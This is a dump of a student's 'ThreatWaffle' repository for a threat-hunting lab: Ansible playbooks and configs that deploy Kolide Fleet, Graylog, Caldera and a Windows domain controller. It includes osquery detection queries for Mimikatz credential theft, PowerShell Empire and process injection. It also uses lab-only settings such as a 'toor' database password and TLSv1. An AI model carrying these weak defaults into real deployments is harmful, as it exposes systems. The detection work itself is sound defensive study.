├── .gitignore ├── Kolide ├── threat_hunting_pack.txt └── threat_hunting_queries.txt ├── README.md ├── conf ├── agents │ ├── certificate.example │ ├── osquery.flags │ └── osquery.key ├── caldera │ ├── caldera.service │ └── settings.yaml.default ├── filebeat │ └── filebeat.yml ├── kolide │ ├── kolide.service │ └── kolide.yml ├── mongo │ └── mongodb.conf └── nginx │ ├── nginx.conf │ ├── nginx_graylog.conf │ └── nginx_kolide.conf ├── deploy_caldera.yml ├── deploy_graylog.yml ├── deploy_kolide.yml ├── deploy_linux_osquery_agents.yml ├── deploy_windows_agents.yml ├── deploy_windows_caldera_agents.yml ├── deploy_windows_dc.yml ├── docker ├── README.md └── docker-compose.yml ├── empire ├── README.md ├── establish_foothold.rc ├── let_it_rip.rc ├── listeners.rc ├── persistence.rc └── priv_esc.rc ├── group_vars ├── agents.example ├── all.example ├── caldera.example ├── graylog.example ├── kolide.example ├── win_agents.example ├── win_dc.example └── windows.example ├── hosts └── roles ├── agents ├── deploy_cagent.yml ├── deploy_osquery_centos.yml ├── deploy_osquery_ubuntu.yml └── deploy_osquery_windows.yml ├── caldera ├── caldera.yml ├── firewall.yml └── mongo.yml ├── graylog └── deploy_graylog.yml ├── init.yml ├── kolide ├── filebeat.yml ├── kolide.yml ├── mysql.yml └── redis.yml └── windows ├── deploy_dns.yml ├── deploy_domain_controller.yml └── join_windows_to_domian.yml /.gitignore: -------------------------------------------------------------------------------- 1 | *.retry 2 | group_vars/all 3 | group_vars/kolide 4 | group_vars/agents 5 | group_vars/win_agents 6 | group_vars/graylog 7 | group_vars/win_dc 8 | group_vars/windows 9 | group_vars/caldera 10 | conf/agents/certificate.crt 11 | .DS_Store 12 | *.pyc 13 | env/ 14 | -------------------------------------------------------------------------------- /Kolide/threat_hunting_pack.txt: -------------------------------------------------------------------------------- 1 | { 2 | "schedule": { 3 | "file_events": { 4 | "query": "SELECT * FROM file_events;", 5 | "interval": 300, 6 | "removed": false 7 | } 8 | }, 9 | "options": { 10 | "disable_distributed": false, 11 | "distributed_interval": 10, 12 | "distributed_plugin": "tls", 13 | "distributed_tls_max_attempts": 3, 14 | "distributed_tls_read_endpoint": "/api/v1/osquery/distributed/read", 15 | "distributed_tls_write_endpoint": "/api/v1/osquery/distributed/write", 16 | "logger_plugin": "tls", 17 | "logger_tls_endpoint": "/api/v1/osquery/log", 18 | "logger_tls_period": 10, 19 | "pack_delimiter": "/" 20 | }, 21 | "decorators": { 22 | "load": [ 23 | "SELECT uuid AS host_uuid FROM system_info;", 24 | "SELECT hostname AS hostname FROM system_info;" 25 | ] 26 | }, 27 | "packs": { 28 | "Threat hunting pack": { 29 | "queries": { 30 | "Detect Mimikatz": { 31 | "query": "SELECT pm.path,pm.permissions,proc.name, pm.pid FROM process_memory_map as pm JOIN processes as proc WHERE (pm.path like '%cryptdll.dll' OR pm.path like '%hid.dll' OR pm.path like '% 32 | WinSCard.dll' OR pm.path like '%samlib.dll' OR pm.path like '%vaultcli.dll') AND pm.pid=proc.pid", 33 | "interval": 300, 34 | "platform": "windows", 35 | "version": "" 36 | }, 37 | "Detect Powershell Empire": { 38 | "query": "SELECT proc.name, pm.pid, pm.path, pm.permissions FROM process_memory_map as pm JOIN processes as proc WHERE pm.pid=proc.pid and permissions='PAGE_EXECUTE_READWRITE';", 39 | "interval": 300, 40 | "platform": "windows", 41 | "version": "" 42 | }, 43 | "Detect process injection": { 44 | "query": "SELECT pid, permissions, path FROM process_memory_map WHERE pid=(select pid from processes WHERE name='explorer.exe') and permissions='PAGE_EXECUTE_READWRITE';", 45 | "interval": 300, 46 | "platform": "windows", 47 | "version": "" 48 | }, 49 | "Malicious scheduled tasks": { 50 | "query": "SELECT name, action, path, last_run_time, next_run_time, last_run_message FROM scheduled_tasks WHERE enabled=1 and hidden=1;", 51 | "interval": 300, 52 | "platform": "windows", 53 | "version": "" 54 | }, 55 | "Maliciously spawned Powershell prompts": { 56 | "query": "SELECT pid, parent, name, path, cmdline, uid, system_time, start_time FROM processes where name='powershell.exe' and parent != (select pid from processes where name='explorer.exe'); 57 | ", 58 | "interval": 300, 59 | "platform": "windows", 60 | "version": "" 61 | }, 62 | "Powershell processes created": { 63 | "query": "SELECT datetime, source, provider_name, provider_guid, eventid, data FROM windows_events WHERE eventid=4688 and data like '%\"NewProcessName\":\"C:\\\\Windows\\\\System32\\\\WindowsP 64 | owerShell\\\\v1.0\\\\powershell.exe\"%';", 65 | "interval": 300, 66 | "platform": "windows", 67 | "version": "" 68 | } 69 | } 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /Kolide/threat_hunting_queries.txt: -------------------------------------------------------------------------------- 1 | # Detect Mimikatz 2 | SELECT pm.path,pm.permissions,proc.name, pm.pid FROM process_memory_map as pm JOIN processes as proc WHERE (pm.path like '%cryptdll.dll' OR pm.path like '%hid.dll' OR pm.path like '%WinSCard.dll' OR pm.path like '%samlib.dll' OR pm.path like '%vaultcli.dll') AND pm.pid=proc.pid 3 | 4 | # Detect Powershell Empire 5 | SELECT proc.name, pm.pid, pm.path, pm.permissions FROM process_memory_map as pm JOIN processes as proc WHERE pm.pid=proc.pid and permissions='PAGE_EXECUTE_READWRITE'; 6 | 7 | # Detect process injection 8 | SELECT pid, permissions, path FROM process_memory_map WHERE pid=(select pid from processes WHERE name='explorer.exe') and permissions='PAGE_EXECUTE_READWRITE'; 9 | 10 | # Malicious tasks 11 | SELECT name, action, path, last_run_time, next_run_time, last_run_message FROM scheduled_tasks WHERE enabled=1 and hidden=1; 12 | 13 | # Maliciously spawned powershell prompts 14 | SELECT pid, parent, name, path, cmdline, uid, system_time, start_time FROM processes where name='powershell.exe' and parent != (select pid from processes where name='explorer.exe'); 15 | 16 | # Powershell process created 17 | SELECT datetime, source, provider_name, provider_guid, eventid, data FROM windows_events WHERE eventid=4688 and data like '%"NewProcessName":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"%'; 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ThreatWaffle 2 | Threat hunting repo for my independent study on threat hunting with OSQuery. 3 | 4 | # Doorman or Kolide 5 | This repo contains two branches which are Doorman and Kolide. Both are open source OSQuery fleet managers. Koide is used in the master branch. 6 | 7 | # Setup Windows Domain Controller 8 | ## Setup domain 9 | 0. mv group_vars/all.example group_vars/all 10 | 0. Vim group_vars/all and set 11 | 1. base_domain 12 | 0. mv group_vars/win_dc.example group_vars/win_dc 13 | 0. vim group_vars/win_dc and set: 14 | 1. ad_domain_name(by default set base_domain) 15 | 1. ad_safe_mode_password 16 | 0. vim group_vars/windows and set : 17 | 1. asnsible_user 18 | 1. ansible_password 19 | 0. vim hosts set: 20 | 1. ip addr for [win_dc] 21 | 0. ansible-playbook -i hosts deploy_windows_dc.yml 22 | 0. Shutdown and create snapshot 23 | 24 | ## Setup domain user(non-admin) 25 | 0. Login into Windows DC 26 | 0. Open server manager 27 | 0. Select “Tools” then “Active Directory Users and Computers” 28 | 0. Select “Users” on the left 29 | 0. Select “Acton” then “New User” 30 | 1. User info 31 | 2. Enter "Bill" for Firstname 32 | 2. Enter "Gates" for Last Name 33 | 2. Enter “Bgates” for logon 34 | 1. Password 35 | 2. Enter a password for user 36 | 2. UNcheck “User must change password at next logon” 37 | 0. Shutdown and create snapshot 38 | 39 | ## Setup DNS entrie 40 | 0. Open Server Manager 41 | 0. Select "Tools" then "DNS" 42 | 0. WinDC > Forward Lookup Zone > hackinglab.beer 43 | 0. Select "Action" then "New Host(A)" 44 | 1. Enter "graylog" for Name 45 | 1. Enter "" for IP address 46 | 1. Repeat for Kolide 47 | 48 | ## Group policy settings 49 | ### Enable RDP through firewall 50 | 0. Open Group policy manager 51 | 0. Right-click "Default Domain Policy" 52 | 0. Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile 53 | 0. Enable "Allow inbound Remote Desktop exceptions" and set IP addresses to "/" 54 | 0. Computer Configuration > Policies > Administrative Templates, Network > Network Connections > Windows Firewall > Domain Profile 55 | 0. Enable "Windows Firewall: Allow inbound Remote Desktop exceptions" 56 | 57 | ### Powershell script block logging 58 | 0. Computer Configuration > Policies > Administrative Templates -> Windows Components -> Windows PowerShell 59 | 0. Enable "Turn on PowerShell Script Block Logging" 60 | 61 | ### Process creation logging 62 | 0. Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > > Detailed Tracking 63 | 0. Enable for successful "Audit Process Creation" 64 | 65 | ### SMB access via firewall 66 | 0. Computer Configuration > Windows Settings > Security Settings > Windows Firewall with Advanced Security > Windows Firewall with Advanced Security LDAP 67 | 0. Right-click "Inbound Rules" and select "New Rule" 68 | 1. Select "Port" for rule type 69 | 1. Select "TCP" for protocol and enter "445" for port 70 | 1. Select "Allow the connection" 71 | 1. Select all profiles 72 | 1. Enter "Allow PSexec" for name 73 | 74 | # Setup Kolide OSQuery fleet manager 75 | 0. openssl rand -base64 32 76 | 0. Copy the output from above 77 | 0. vim group_vars/kolide and set: 78 | 1. kolide_jwt_key to output from above 79 | 1. Set username and password for Kolide, MySQL 80 | 0. vim group_vars/all and set 81 | 1. timezone 82 | 1. fleet_hostname 83 | 1. base_domain 84 | 1. Set information for certificate 85 | 1. Slack (optional) 86 | 0. vim hosts 87 | 1. Set management IP address under [kolide] 88 | 0. ansible-playbook -i hosts deploy_kolide.yml -u 89 | 0. https:// 90 | 1. Setup through Kolide setup 91 | 92 | # Setup Graylog server 93 | 0. vim group_vars/graylog and set 94 | 1. graylog_admin_password 95 | 0. vim hosts and set [graylog] 96 | 0. ansible-playbook -i hosts deploy_graylog.yml -u superadmin 97 | 98 | ## Deploy OSQuery agents 99 | ## Initial setup 100 | 0. Browse to https:// 101 | 0. Select "Add new host" in top right 102 | 0. Select "Reveal secret" and copy the string 103 | 0. vim group_vars/agents 104 | 1. set osquery_enroll_secret with string from Kolide 105 | 106 | ## Deploy Windows OSQuery agent 107 | ** Windows hosts must be WinRM ready for Ansible ** 108 | 0. Copy contents of /etc/nginx/ssl/kolide.crt for Kolide server 109 | 0. mv conf/agents/certificate.example conf/agents/certificate.crt 110 | 0. vim conf/agents/certificate.crt and paste the contents from above 111 | 0. mv group_vars/win_agents.example group_vars/win_agents 112 | 0. vim group_vars/win_agents and set: 113 | 1. ansible_user 114 | 1. ansible_password 115 | 0. vim hosts 116 | 1. Add hosts to win_agents 117 | 0. ansible-playbook -i hosts deploy_windows_osquery_agents.yml 118 | 119 | ## Deploy Linux OSQuery agent 120 | 0. vim hosts 121 | 1. Add hosts to linux_agents 122 | 0.ansible-playbook -i hosts deploy_linux_osquery_agents.yml 123 | 124 | ## Ansible setup - prod 125 | 0. vim hosts and set [caldera] 126 | 0. mv group_vars/all.example group_vars/all 127 | 0. vim group_vars/all and set: 128 | 1. base_domain 129 | 1. caldera_pass 130 | 0. Create a DNS entry on your DNS server for {{ caldera_pass }}.{{ base_domain }} 131 | 0. ansible-playbook -i hosts deploy_caldera.yml -u 132 | 133 | ## Ansible Kolide OS support 134 | * Ubuntu Server 16.04 64-bit 135 | 136 | 137 | # Resources/Sources 138 | * Kolide github: https://github.com/kolide/fleet/tree/master/docs 139 | * Kolide docs: https://github.com/kolide/fleet/blob/master/docs/infrastructure/adding-hosts-to-fleet.md 140 | * Remote Desktop - Group Policy : http://www.itprotoday.com/management-mobility/q-how-do-i-enable-remote-desktop-connections-windows-7-using-group-policy 141 | * Powershell script block logging - Group Policy: https://docs.microsoft.com/en-us/powershell/wmf/5.0/audit_script 142 | * Process creation auditing - Group Policy: http://www.itprotoday.com/security/understanding-and-enabling-command-line-auditing 143 | * Add SMB Firewall rule - Group Policy: https://4sysops.com/archives/force-remote-group-policy-refresh-with-psexec/ 144 | 145 | # To do: 146 | * Set up Mac OSX deployment for OSQuery 147 | * Docker setup 148 | * Add DNS setup to DC 149 | -------------------------------------------------------------------------------- /conf/agents/certificate.example: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /conf/agents/osquery.flags: -------------------------------------------------------------------------------- 1 | {% if ansible_os_family == "Linux" %} 2 | --tls_server_certs=/etc/osquery/certificate.crt 3 | --enroll_secret_path=/etc/osquery/osquery.key 4 | {% else %} 5 | --tls_server_certs=C:\ProgramData\osquery\certs\certificate.crt 6 | --enroll_secret_path=C:\ProgramData\osquery\osquery.key 7 | {% endif %} 8 | --tls_hostname={{ fleet_hostname }}.{{ base_domain }}:443 9 | --host_identifier=uuid 10 | --enroll_tls_endpoint=/api/v1/osquery/enroll 11 | --config_plugin=tls 12 | --config_tls_endpoint=/api/v1/osquery/config 13 | --config_tls_refresh=10 14 | --disable_distributed=false 15 | --distributed_plugin=tls 16 | --distributed_interval=10 17 | --distributed_tls_max_attempts=3 18 | --distributed_tls_read_endpoint=/api/v1/osquery/distributed/read 19 | --distributed_tls_write_endpoint=/api/v1/osquery/distributed/write 20 | --logger_plugin=tls 21 | --logger_tls_endpoint=/api/v1/osquery/log 22 | --logger_tls_period=10 23 | --disabled_events=false 24 | -------------------------------------------------------------------------------- /conf/agents/osquery.key: -------------------------------------------------------------------------------- 1 | {{ osquery_enroll_secret }} 2 | -------------------------------------------------------------------------------- /conf/caldera/caldera.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=MITRE Caldera service 3 | After=network.target 4 | 5 | [Service] 6 | User=caldera 7 | Restart=on-failure 8 | WorkingDirectory={{ caldera_dir }}/caldera 9 | ExecStart=/usr/bin/python3 caldera.py 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /conf/caldera/settings.yaml.default: -------------------------------------------------------------------------------- 1 | crypto: 2 | cert: '' 3 | key: '' 4 | server: 5 | host: 127.0.0.1 6 | https: false 7 | port: 8888 8 | users: 9 | - name: {{ caldera_user }} 10 | password: {{ caldera_pass }} 11 | proxy: 12 | default: 13 | cert: '' 14 | http: '' 15 | https: '' 16 | -------------------------------------------------------------------------------- /conf/filebeat/filebeat.yml: -------------------------------------------------------------------------------- 1 | ###################### Filebeat Configuration Example ######################### 2 | 3 | # This file is an example configuration file highlighting only the most common 4 | # options. The filebeat.reference.yml file from the same directory contains all the 5 | # supported options with more comments. You can use it as a reference. 6 | # 7 | # You can find the full configuration reference here: 8 | # https://www.elastic.co/guide/en/beats/filebeat/index.html 9 | 10 | # For more available modules and options, please see the filebeat.reference.yml sample 11 | # configuration file. 12 | 13 | #=========================== Filebeat prospectors ============================= 14 | 15 | filebeat.prospectors: 16 | 17 | # Each - is a prospector. Most options can be set at the prospector level, so 18 | # you can use different prospectors for various configurations. 19 | # Below are the prospector specific configurations. 20 | 21 | - type: log 22 | 23 | # Change to true to enable this prospector configuration. 24 | enabled: true 25 | 26 | # Paths that should be crawled and fetched. Glob based paths. 27 | paths: 28 | - {{ log_dir }}/*.log 29 | #- c:\programdata\elasticsearch\logs\* 30 | 31 | # Exclude lines. A list of regular expressions to match. It drops the lines that are 32 | # matching any regular expression from the list. 33 | #exclude_lines: ['^DBG'] 34 | 35 | # Include lines. A list of regular expressions to match. It exports the lines that are 36 | # matching any regular expression from the list. 37 | #include_lines: ['^ERR', '^WARN'] 38 | 39 | # Exclude files. A list of regular expressions to match. Filebeat drops the files that 40 | # are matching any regular expression from the list. By default, no files are dropped. 41 | #exclude_files: ['.gz$'] 42 | 43 | # Optional additional fields. These fields can be freely picked 44 | # to add additional information to the crawled log files for filtering 45 | fields: 46 | tool: osquery 47 | # level: debug 48 | # review: 1 49 | 50 | ### Multiline options 51 | 52 | # Mutiline can be used for log messages spanning multiple lines. This is common 53 | # for Java Stack Traces or C-Line Continuation 54 | 55 | # The regexp Pattern that has to be matched. The example pattern matches all lines starting with [ 56 | #multiline.pattern: ^\[ 57 | 58 | # Defines if the pattern set under pattern should be negated or not. Default is false. 59 | #multiline.negate: false 60 | 61 | # Match can be set to "after" or "before". It is used to define if lines should be append to a pattern 62 | # that was (not) matched before or after or as long as a pattern is not matched based on negate. 63 | # Note: After is the equivalent to previous and before is the equivalent to to next in Logstash 64 | #multiline.match: after 65 | 66 | 67 | #============================= Filebeat modules =============================== 68 | 69 | filebeat.config.modules: 70 | # Glob pattern for configuration loading 71 | path: ${path.config}/modules.d/*.yml 72 | 73 | # Set to true to enable config reloading 74 | reload.enabled: false 75 | 76 | # Period on which files under path should be checked for changes 77 | #reload.period: 10s 78 | 79 | #==================== Elasticsearch template setting ========================== 80 | 81 | #setup.template.settings: 82 | # index.number_of_shards: 3 83 | #index.codec: best_compression 84 | #_source.enabled: false 85 | 86 | #================================ General ===================================== 87 | 88 | # The name of the shipper that publishes the network data. It can be used to group 89 | # all the transactions sent by a single shipper in the web interface. 90 | #name: 91 | 92 | # The tags of the shipper are included in their own field with each 93 | # transaction published. 94 | #tags: ["service-X", "web-tier"] 95 | 96 | # Optional fields that you can specify to add additional information to the 97 | # output. 98 | #fields: 99 | # env: staging 100 | 101 | 102 | #============================== Dashboards ===================================== 103 | # These settings control loading the sample dashboards to the Kibana index. Loading 104 | # the dashboards is disabled by default and can be enabled either by setting the 105 | # options here, or by using the `-setup` CLI flag or the `setup` command. 106 | #setup.dashboards.enabled: false 107 | 108 | # The URL from where to download the dashboards archive. By default this URL 109 | # has a value which is computed based on the Beat name and version. For released 110 | # versions, this URL points to the dashboard archive on the artifacts.elastic.co 111 | # website. 112 | #setup.dashboards.url: 113 | 114 | #============================== Kibana ===================================== 115 | 116 | # Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API. 117 | # This requires a Kibana endpoint configuration. 118 | #setup.kibana: 119 | 120 | # Kibana Host 121 | # Scheme and port can be left out and will be set to the default (http and 5601) 122 | # In case you specify and additional path, the scheme is required: http://localhost:5601/path 123 | # IPv6 addresses should always be defined as: https://[2001:db8::1]:5601 124 | #host: "localhost:5601" 125 | 126 | #============================= Elastic Cloud ================================== 127 | 128 | # These settings simplify using filebeat with the Elastic Cloud (https://cloud.elastic.co/). 129 | 130 | # The cloud.id setting overwrites the `output.elasticsearch.hosts` and 131 | # `setup.kibana.host` options. 132 | # You can find the `cloud.id` in the Elastic Cloud web UI. 133 | #cloud.id: 134 | 135 | # The cloud.auth setting overwrites the `output.elasticsearch.username` and 136 | # `output.elasticsearch.password` settings. The format is `:`. 137 | #cloud.auth: 138 | 139 | #================================ Outputs ===================================== 140 | 141 | # Configure what output to use when sending the data collected by the beat. 142 | 143 | #-------------------------- Elasticsearch output ------------------------------ 144 | #output.elasticsearch: 145 | # Array of hosts to connect to. 146 | # hosts: ["localhost:9200"] 147 | 148 | # Optional protocol and basic auth credentials. 149 | #protocol: "https" 150 | #username: "elastic" 151 | #password: "changeme" 152 | 153 | #----------------------------- Logstash output -------------------------------- 154 | output.logstash: 155 | # The Logstash hosts 156 | hosts: ["{{ graylog_hostname }}.{{ base_domain }}:5044"] 157 | 158 | # Optional SSL. By default is off. 159 | # List of root certificates for HTTPS server verifications 160 | #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"] 161 | 162 | # Certificate for SSL client authentication 163 | #ssl.certificate: "/etc/pki/client/cert.pem" 164 | 165 | # Client Certificate Key 166 | #ssl.key: "/etc/pki/client/cert.key" 167 | 168 | #================================ Logging ===================================== 169 | 170 | # Sets log level. The default log level is info. 171 | # Available log levels are: critical, error, warning, info, debug 172 | #logging.level: debug 173 | 174 | # At debug level, you can selectively enable logging only for some components. 175 | # To enable all selectors use ["*"]. Examples of other selectors are "beat", 176 | # "publish", "service". 177 | #logging.selectors: ["*"] 178 | -------------------------------------------------------------------------------- /conf/kolide/kolide.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Kolide Fleet management service 3 | After=network.target 4 | 5 | [Service] 6 | User=kolide 7 | Restart=on-failure 8 | ExecStart=/usr/local/bin/linux/fleet_linux_amd64 serve --config /etc/kolide/kolide.yml 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | -------------------------------------------------------------------------------- /conf/kolide/kolide.yml: -------------------------------------------------------------------------------- 1 | mysql: 2 | address: 127.0.0.1:3306 3 | database: {{ mysql_kolide_dbname }} 4 | username: {{ mysql_kolide_user }} 5 | password: {{ mysql_kolide_pass }} 6 | redis: 7 | address: 127.0.0.1:6379 8 | server: 9 | address: 127.0.0.1:8080 10 | tls: false 11 | auth: 12 | jwt_key: {{ kolide_jwt_key }} 13 | osquery: 14 | result_log_file: /var/log/kolide/osquery_result.log 15 | status_log_file: /var/log/kolide/osquery_status.log 16 | logging: 17 | json: true 18 | -------------------------------------------------------------------------------- /conf/mongo/mongodb.conf: -------------------------------------------------------------------------------- 1 | # mongodb.conf 2 | 3 | # Where to store the data. 4 | dbpath=/var/lib/mongodb 5 | 6 | #where to log 7 | logpath=/var/log/mongodb/mongodb.log 8 | 9 | logappend=true 10 | 11 | bind_ip = 127.0.0.1 12 | port = 27017 13 | 14 | # Enable journaling, http://www.mongodb.org/display/DOCS/Journaling 15 | journal=true 16 | 17 | ############################################################ 18 | # Caldera replication set 19 | ############################################################ 20 | replSet = caldera 21 | 22 | # Enables periodic logging of CPU utilization and I/O wait 23 | #cpu = true 24 | 25 | # Turn on/off security. Off is currently the default 26 | #noauth = true 27 | #auth = true 28 | 29 | # Verbose logging output. 30 | #verbose = true 31 | 32 | # Inspect all client data for validity on receipt (useful for 33 | # developing drivers) 34 | #objcheck = true 35 | 36 | # Enable db quota management 37 | #quota = true 38 | 39 | # Set oplogging level where n is 40 | # 0=off (default) 41 | # 1=W 42 | # 2=R 43 | # 3=both 44 | # 7=W+some reads 45 | #oplog = 0 46 | 47 | # Diagnostic/debugging option 48 | #nocursors = true 49 | 50 | # Ignore query hints 51 | #nohints = true 52 | 53 | # Disable the HTTP interface (Defaults to localhost:27018). 54 | #nohttpinterface = true 55 | 56 | # Turns off server-side scripting. This will result in greatly limited 57 | # functionality 58 | #noscripting = true 59 | 60 | # Turns off table scans. Any query that would do a table scan fails. 61 | #notablescan = true 62 | 63 | # Disable data file preallocation. 64 | #noprealloc = true 65 | 66 | # Specify .ns file size for new databases. 67 | # nssize = 68 | 69 | # Accout token for Mongo monitoring server. 70 | #mms-token = 71 | 72 | # Server name for Mongo monitoring server. 73 | #mms-name = 74 | 75 | # Ping interval for Mongo monitoring server. 76 | #mms-interval = 77 | 78 | # Replication Options 79 | 80 | # in replicated mongo databases, specify here whether this is a slave or master 81 | #slave = true 82 | #source = master.example.com 83 | # Slave only: specify a single database to replicate 84 | #only = master.example.com 85 | # or 86 | #master = true 87 | #source = slave.example.com 88 | 89 | # Address of a server to pair with. 90 | #pairwith = 91 | # Address of arbiter server. 92 | #arbiter = 93 | # Automatically resync if slave data is stale 94 | #autoresync 95 | # Custom size for replication operation log. 96 | #oplogSize = 97 | # Size limit for in-memory storage of op ids. 98 | #opIdMem = 99 | 100 | # SSL options 101 | # Enable SSL on normal ports 102 | #sslOnNormalPorts = true 103 | # SSL Key file and password 104 | #sslPEMKeyFile = /etc/ssl/mongodb.pem 105 | #sslPEMKeyPassword = pass 106 | -------------------------------------------------------------------------------- /conf/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user www-data; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | 5 | events { 6 | worker_connections 768; 7 | # multi_accept on; 8 | } 9 | 10 | http { 11 | 12 | ## 13 | # Basic Settings 14 | ## 15 | 16 | sendfile on; 17 | tcp_nopush on; 18 | tcp_nodelay on; 19 | keepalive_timeout 65; 20 | types_hash_max_size 2048; 21 | # server_tokens off; 22 | 23 | # server_names_hash_bucket_size 64; 24 | # server_name_in_redirect off; 25 | 26 | include /etc/nginx/mime.types; 27 | default_type application/octet-stream; 28 | 29 | ## 30 | # SSL Settings 31 | ## 32 | 33 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE 34 | ssl_prefer_server_ciphers on; 35 | 36 | ## 37 | # Logging Settings 38 | ## 39 | 40 | access_log /var/log/nginx/access.log; 41 | error_log /var/log/nginx/error.log; 42 | 43 | ## 44 | # Gzip Settings 45 | ## 46 | 47 | gzip on; 48 | gzip_disable "msie6"; 49 | 50 | # gzip_vary on; 51 | # gzip_proxied any; 52 | # gzip_comp_level 6; 53 | # gzip_buffers 16 8k; 54 | # gzip_http_version 1.1; 55 | # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 56 | 57 | #### 58 | # Config for web sockets 59 | #### 60 | map $http_upgrade $connection_upgrade { 61 | default upgrade; 62 | '' close; 63 | } 64 | 65 | include /etc/nginx/conf.d/*.conf; 66 | } 67 | -------------------------------------------------------------------------------- /conf/nginx/nginx_graylog.conf: -------------------------------------------------------------------------------- 1 | server 2 | { 3 | listen 443 ssl spdy; 4 | server_name {{ graylog_hostname }}.{{ base_domain }}; 5 | 6 | ssl_certificate /etc/nginx/ssl/graylog.crt; 7 | ssl_certificate_key /etc/nginx/ssl/graylog.key; 8 | 9 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 10 | ssl_prefer_server_ciphers on; 11 | ssl_dhparam /etc/nginx/ssl/dhparam.pem; 12 | ssl_ciphers HIGH:!aNULL:!MD5; 13 | 14 | location / 15 | { 16 | proxy_set_header Host $http_host; 17 | proxy_set_header X-Forwarded-Host $host; 18 | proxy_set_header X-Forwarded-Server $host; 19 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 20 | proxy_set_header X-Graylog-Server-URL https://$server_name/api; 21 | proxy_pass http://127.0.0.1:9000; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /conf/nginx/nginx_kolide.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80 default_server; 3 | listen [::]:80 default_server; 4 | server_name _; 5 | return 301 https://$host$request_uri; 6 | } 7 | 8 | upstream websocket { 9 | server 127.0.0.1:8080; 10 | } 11 | 12 | server { 13 | listen 443 ssl; 14 | server_name kolide.hackinglab.beer; 15 | 16 | ssl_certificate /etc/nginx/ssl/kolide.crt; 17 | ssl_certificate_key /etc/nginx/ssl/kolide.key; 18 | 19 | ssl_dhparam /etc/nginx/ssl/dhparam.pem; 20 | ssl_ciphers HIGH:!aNULL:!MD5; 21 | 22 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 23 | ssl_prefer_server_ciphers on; 24 | 25 | location / 26 | { 27 | #proxy_set_header Host $http_host; 28 | #proxy_set_header X-Forwarded-Host $host; 29 | #proxy_set_header X-Forwarded-Server $host; 30 | #proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 31 | proxy_http_version 1.1; 32 | proxy_set_header Upgrade $http_upgrade; 33 | proxy_set_header Connection $connection_upgrade; 34 | proxy_pass http://127.0.0.1:8080; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /deploy_caldera.yml: -------------------------------------------------------------------------------- 1 | - hosts: caldera 2 | become: yes 3 | become_user: root 4 | tasks: 5 | - import_tasks: roles/init.yml 6 | - import_tasks: roles/caldera/mongo.yml 7 | - import_tasks: roles/caldera/caldera.yml 8 | - import_tasks: roles/caldera/firewall.yml 9 | -------------------------------------------------------------------------------- /deploy_graylog.yml: -------------------------------------------------------------------------------- 1 | - hosts: graylog 2 | become: yes 3 | become_user: root 4 | tasks: 5 | - import_tasks : 'roles/graylog/deploy_graylog.yml' 6 | -------------------------------------------------------------------------------- /deploy_kolide.yml: -------------------------------------------------------------------------------- 1 | - hosts: kolide 2 | become: yes 3 | become_user: root 4 | tasks: 5 | - import_tasks: roles/init.yml 6 | - import_tasks: roles/kolide/redis.yml 7 | - import_tasks: roles/kolide/mysql.yml 8 | - import_tasks: roles/kolide/kolide.yml 9 | #- import_tasks: roles/kolide/filebeat.yml 10 | -------------------------------------------------------------------------------- /deploy_linux_osquery_agents.yml: -------------------------------------------------------------------------------- 1 | - hosts: linux_agents 2 | become: yes 3 | become_user: root 4 | tasks: 5 | - include_vars: group_vars/agents 6 | - import_tasks: roles/agents/deploy_osquery_centos.yml 7 | when: ansible_distribution == "CentOS" 8 | - import_tasks: roles/agents/deploy_osquery_ubuntu.yml 9 | when: ansible_distribution == "Ubuntu" 10 | -------------------------------------------------------------------------------- /deploy_windows_agents.yml: -------------------------------------------------------------------------------- 1 | - hosts: win_agents 2 | tasks: 3 | - win_ping: 4 | - include_vars: group_vars/agents 5 | - import_tasks: roles/windows/deploy_dns.yml 6 | - import_tasks: roles/agents/deploy_osquery_windows.yml 7 | - include_vars: group_vars/win_dc 8 | - import_tasks: roles/windows/join_windows_to_domian.yml 9 | -------------------------------------------------------------------------------- /deploy_windows_caldera_agents.yml: -------------------------------------------------------------------------------- 1 | - hosts: win_agents 2 | tasks: 3 | - import_tasks: roles/agents/deploy_cagent.yml 4 | -------------------------------------------------------------------------------- /deploy_windows_dc.yml: -------------------------------------------------------------------------------- 1 | - hosts: win_dc 2 | tasks: 3 | - import_tasks: roles/windows/deploy_domain_controller.yml 4 | -------------------------------------------------------------------------------- /docker/README.md: -------------------------------------------------------------------------------- 1 | # Docker setup for demo 2 | -------------------------------------------------------------------------------- /docker/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | mysql: 4 | image: mysql:5.7 5 | command: mysqld --datadir=/tmp/mysqldata --slow_query_log=1 --log_output=TABLE --log-queries-not-using-indexes 6 | environment: 7 | MYSQL_ROOT_PASSWORD: toor 8 | MYSQL_DATABASE: kolide 9 | MYSQL_USER: kolide 10 | MYSQL_PASSWORD: kolide 11 | ports: 12 | - "3306:3306" 13 | 14 | redis: 15 | image: redis:3.2.4 16 | ports: 17 | - "6379:6379" 18 | 19 | fleet: 20 | image: kolide/fleet 21 | ports: 22 | - 80:8080 23 | links: 24 | - mysql 25 | - redis 26 | -------------------------------------------------------------------------------- /empire/README.md: 